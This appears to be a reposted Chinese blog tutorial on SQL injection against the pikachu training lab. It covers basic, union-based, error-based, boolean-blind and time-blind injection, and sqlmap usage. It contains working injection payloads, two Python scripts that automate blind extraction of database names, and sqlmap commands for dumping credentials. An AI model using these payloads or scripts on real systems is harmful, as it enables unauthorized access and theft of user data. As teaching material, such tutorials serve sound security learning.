【数据库】SQL注入从0到1

目录

前言:

1.【入门】普通查询型注入:

1.0 实验环境:

1.1进行一次普通的查询:

1.2 进行注入得到用户信息:

1.2.1 执行注入:

1.2.2 注入语句分析:

1.3 整型注入与字符型注入区别:

2.【进阶】从库到列逐步注入:

2.1 预备知识:

2.1.1 union函数:

2.1.2 order by函数:

2.1.3 information_schema 库:

2.2 注入实战:

2.2.1 查字段数:

2.2.2 查数据库名:

2.2.3 查库中所有的表名:

2.2.4 查表中所有的列名:

2.2.5 根据字段查询表中信息:

2.2.6 总结:

3.【高阶】 利用报错语句注入:

3.1 有关函数:

3.1.1 extractvalue()

3.1.2 updatexml()

3.2 注入实战

4.【高阶】布尔盲注:

4.1 什么是布尔盲注:

4.2 布尔盲注示例:

4.3 布尔盲注脚本:

5.【高阶】时间盲注:

5.1 什么是时间盲注:

5.2 时间盲注示例:

5.3 时间盲注脚本:

6.【附加】Sqlmap使用:

6.1 什么是sqlmap:

6.2 基本使用方法:


前言:

  SQL注入漏洞OWASP Top 10漏洞之一,指黑客通过将恶意的SQL语句插入到Web应用程序的输入参数中,进而使后台的数据库服务器受到攻击的行为。这种漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行,从而导致数据库受损,用户隐私及机密数据遭到泄露

1.【入门】普通查询型注入:

1.0 实验环境:

用于实验的表为:

假设后台查询语句为:

select password from users where id='$GET['id']';

分析语句可得,该语句会根据我们GET方式提交的参数 id  提交到数据库中查询id列中与提交的id参数相等的一行中password列所对应的值

1.1进行一次普通的查询:

语句为:

select password from users where id='tom';

这里我们提交的id参数为tom,也就是所在表中查询tom的password

结果为:

 显而易见,我们查找出了tom的password

1.2 进行注入得到用户信息:

1.2.1 执行注入:

注入语句为:

select password from users where id='tom' or 1=1;#';

#我们传入的 id 为  tom' or 1=1;#

结果为:

我们可以看到爆出了所有的用户信息

1.2.2 注入语句分析:

我们给后台传入的id值为:

tom' or 1=1;#

后台形成查询语句为:

select password from users where id='tom' or 1=1;#';

红色的单引号为查询语句自带的,橙色单引号为我们传入的

  • 可以看到第一个红色单引号与我们传入的单引号进行了配对,而第二个红色单引号者被我们传入的#号注释在外面(在sql语句中#号起注释作用),然后 tom由于被我们传入的单引号提前闭合,形成第一个查询条件
  • or 代表逻辑运算符,代表
  • 第二个查询条件为:1=1 这条语句的结果永远为真(1永远等于1)

分析到这里,查询语句可简化为:

select password from users where id='tom' or True;

可以理解为 id='tom' 或 为真

也就是说id只要还有存在的值,那么语句便会一直查找下去(id等于该列中任何一个值结果都为True)

1.3 整型注入与字符型注入区别:

上文所描述的注入实例为字符型,在实战环境中往往也会出现字符型

两种查询语句对比如下:

select password from users where id='$GET['id']'; #字符型
我们可以看到传入的参数在单引号中,故为字符型,因为字符串要被单引号括住

select password from users where id=$GET['id'];  #整型
我们可以看到传入的参数两边无单引号,故为整型

遇到字符型注入时,不需要构造引号闭合(因为后台语句没有单引号),只须最后用引号注释掉后面即可

2.【进阶】从库到列逐步注入:

   一般存在查询型注入,我们不只可以查询所有的同类型信息,还可以查询到数据库的版本、名称,及其所有的表、字段信息

2.1 预备知识:

2.1.1 union函数:

对前后两个select语句进行并集操作,不包括重复行,同时进行默认规则的排序;需要前后两个select语句查询的字段数相同,我们可以根据此函数自定义一个select语句,用来查询我们想要的信息

2.1.2 order by函数:

此函数后面跟数字,指的是根据 select 后面查询的列进行分组、排序等,1 代表第一个列,2代表第二个列,依次类推,如果我们所输入的数字大于select后所查询的列数,那么就会返回失败,所以我们可以通过不断改变后面的数字来确定前select语句所查询的字段数

2.1.3 information_schema 库:

这是 MySQL 自带的信息数据库,用于存储数据库元数据(关于数据库的数据),例如数据库名、表名、列的数据类型、访问权限等。我们可在information_schema.tables这个表中查到该数据库的所有表

 该内容表如下

2.2 注入实战:

这里以pikachu靶场为例

2.2.1 查字段数:

xx' order by 2#

2不报错,3报错,说明后台查询字段数为2,我们拼凑的查询语句字段数也应为2

结果为:

2.2.2 查数据库名:

xx' union select database(),1# 

database()为MySQL的一个环境变量,代表当前数据库

1是用来凑数的,因为前面的select语句为2个字段

结果为:

 

2.2.3 查库中所有的表名:

  • 这里用到了information_schema库tables表,里面有所有数据库内表的信息
xx' union select 1,table_name from information_schema.tables where table_schema="pikachu"#

  结果为:

2.2.4 查表中所有的列名:

  • 这里用到了information_schema库columns表,里面有所有表内列的信息
1' union select 1,column_name from information_schema.columns where table_name= "users"#

结果为: 

 

2.2.5 根据字段查询表中信息

xx' union select username,password from users#

 结果为: 

 

2.2.6 总结:

  • 我们首先爆出了当前数据库名,然后又爆出了该数据库所有的表名,又选取users表,爆出了其中大的列名,最后通过union查询出了username,password列的信息

3.【高阶】 利用报错语句注入:

在某些环境下,我们不止可以通过select语句进行注入,还以通过报错语句进行注入,利用报错语句带出数据

3.1 有关函数:

3.1.1 extractvalue()

格式为:

extractvalue(xml_document,XPath_string)

xml_document:一个包含XML文档的字符串

XPath_string:一个XPath表达式,用于定位需要提取的值

  • 如果参数信息对应的xml文件路径不存在,那么就会以报错的形式返回错误的路径,我们可以令路径参数为查询语句,这样就会以报错的形式返回查询语句的结果 

3.1.2 updatexml()

格式为:

格式为
updatexml(xml_document,XPath_string,new_value)
xml_document:一个包含XML文档的字符串,
XPath_string:一个XPath表达式,用于定位需要修改的节点
new_value:要替换为的新值。

  • 该函数性质与上个相同,路径不对就会报错,利用方式也与上个相同

3.2 注入实战

同样以pikachu靶场为例

payload:

xx' and updatexml(1,datebase(),0)#

 我们可以看到爆出了数据库名( 这里仅以查询数据库名为例,步骤与上文类似,替换XPath_string参数为对应查寻语句即可

4.【高阶】布尔盲注:

4.1 什么是布尔盲注:

布尔盲注是一种SQL注入技术,它基于真和假的逻辑判断。攻击者通过构造一些布尔表达式,并根据页面显示的不同响应来判断是否注入成功

4.2 布尔盲注示例:

例如pikachu这一关:在输入信息不存在时,会返回相同的一句话

我们可通过返回的信息,判断注入真假

4.3 布尔盲注脚本:

  • 该脚本的原理是使用 and 逻辑运算符 将查询为真的条件,和我们按照ASCII表逐一爆破的库名,表名等连接在一起只有都为真时,才会返回成功查询的标志(手工注入几乎不可能,太费时间,大部分情况都使用脚本)
//该脚本只能爆出数据库名,爆其他信息手动更改payload即可

import requests
url="xxxx/?id="
flag=''

for i in range(1,10):
    print(i)
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload="1' and ascii(substr(database(),%d,1))>%d--+"%(i,mid)
        r=requests.get(url=url+payload)
        if "You are in" in r.text:
            low=mid+1
        else:
            high=mid
        mid=(low+high)//2
        if(mid==32):
            break
    flag=flag+chr(mid)
    print(flag)

5.【高阶】时间盲注:

5.1 什么是时间盲注:

时间盲注是一种基于时间的SQL注入攻击技术。在某些情况下,页面会只有一种返回结果,无法通过正常的方式判断是否注入成功,这时,攻击者可以利用延时函数如sleep()benchmark()等,在SQL语句中加入等待一定时间的命令,根据页面的响应时间来判断条件是否正确

5.2 时间盲注示例:

例如pikachu这一关: 当我们输入不存在的用户名时,只会返回同样的一句话

 无论我们传入的数据是否存在,返回结果均相同,所以我们要通过响应时间判断注入对错

5.3 时间盲注脚本:

  •  根据实际场景修改url以及payload即可使用,脚本原理与布尔盲注脚本相似
该脚本只能爆出数据库名,爆其他信息手动更改payload即可

import time
import requests
flag=""
session=requests.Session()
url="xxx/?id="

for i in range(1,100):
    print(i)
    low=32
    high=128
    mid=(low+high)//2
    while low<high:
        payload = "1' and if(ascii(substr(database(),%d,1))>%d,sleep(1),1)--+"%(i,mid)
        stat_time = time.time()
        r = session.get(url=url+payload)
        end_time = time.time()
        t = end_time - stat_time
        if t > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high)//2
        if mid==32:
            break
    flag=flag+chr(mid)
    print(flag)

6.【附加】Sqlmap使用:

6.1 什么是sqlmap:

  sqlmap是一款开源的自动化SQL注入工具,可以用于检测和利用Web应用程序中的SQL注入漏洞,并获取数据库的敏感信息。该工具支持多种数据库类型(如MySQL、Oracle、PostgreSQL等)和操作系统(如Windows、Linux等)官网下载链接

6.2 基本使用方法:

sqlmap -u  "http://www.xx.com?id=x"    查询是否存在注入点

         --dbs        检测站点包含哪些数据库

         --current-db       获取当前的数据库名

         --tables -D  "db_name"  获取指定数据库中的表名
         --columns  -T  "table_name"  -D  "db_name"     获取数据库表中的字段

         --dump -C  "columns_name"  -T "table_name"  -D  "db_name"     获取指定列的数据内容

猜你喜欢

转载自blog.csdn.net/Elite__zhb/article/details/130436909